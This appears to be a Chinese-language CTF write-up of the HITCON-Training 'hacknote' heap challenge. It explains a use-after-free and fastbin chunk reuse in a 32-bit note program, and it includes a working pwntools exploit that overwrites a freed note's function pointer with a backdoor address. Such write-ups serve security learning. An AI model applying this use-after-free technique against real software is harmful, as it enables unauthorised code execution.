題目下載地址:https://github.com/scwuaptx/HITCON-Training
哈哈哈,紀念一下明白的第一道堆題,雖然它真的很簡單。。。
32位程序
三個功能,增、刪、打印
程序給我們預留了後門函數
add函數,創建note會有兩個堆塊,分別是存放兩個函數指針的8字節堆塊和存放內容的堆塊
這個示意圖很清楚:
delete函數
print函數
因爲存在uaf漏洞,又有後門函數,所以考慮,將後門函數地址寫入context,讓該context覆蓋8字節print_note_content的地址
再打印該chunk的時候,函數指針會指向這塊區域,從而執行後門函數
瞭解一下fastbin(64位)
fastbin所包含chunk的大小爲16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。當分配一塊較小的內存(mem<=64 Bytes)時,會首先檢查對應大小的fastbin中是否包含未被使用的chunk,如果存在則直接將其從fastbin中移除並返回;否則通過其他方式(剪切top chunk)得到一塊符合大小要求的chunk並返回。
而當free一塊chunk時,也會首先檢查其大小是否落在fastbin的範圍中。如果是,則將其插入對應的bin中。顧名思義,fastbin爲了快速分配回收這些較小size的chunk,並沒對之前提到的bk進行操作,即僅僅通過fd組成了單鏈表而非雙向鏈表,而且其遵循後進先出(LIFO)的原則。
類似於0 day這本書的塊表
因爲程序是32位的,所以fastbin中塊的大小爲8Bytes, 12Bytes, 16Bytes, … , 40Bytes
我們的函數指針是8字節的,所以,如果我們先分配兩個快,他們的大小不等於8字節,那麼,free掉這兩個塊的時候,fastbin中的情況
8字節的 --> chunk1指針 --> chunk0指針 --> tail
n(<40字節)--> chunk1 --> chunk0 -->tail
那麼,我們malloc的時候,size選擇0x8,add函數中先分配指針的堆塊,然後分配content的堆塊
1.8字節的 --> chunk0 -->tail
chunk2指針=chunk1指針
chunk2_content=chunk0指針
所以,在打印chunk0的時候,chunk0的函數指針會指向chunk2的content,如果之前傳入了後門函數magic,就可以順利執行了
#coding=utf-8
from pwn import *
p=process('./hacknote')
magic_addr=0x08048986
def add(size,content):
p.recvuntil("Your choice :")
p.sendline('1')
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)
def delete(index):
p.recvuntil("Your choice :")
p.sendline('2')
p.recvuntil("Index :")
p.sendline(str(index))
def print_note(index):
p.recvuntil("Your choice :")
p.sendline('3')
p.recvuntil("Index :")
p.sendline(str(index))
add(0x32,'aaaa')#0
add(0x32,'aaaa')#1
delete(0)
delete(1)
add(0x8,p32(magic_addr))#2
print_note(0)
p.interactive()
在本地/home/hacknote下創建了flag文件
執行結果:
參考博客:https://www.jianshu.com/p/f894c2961ca6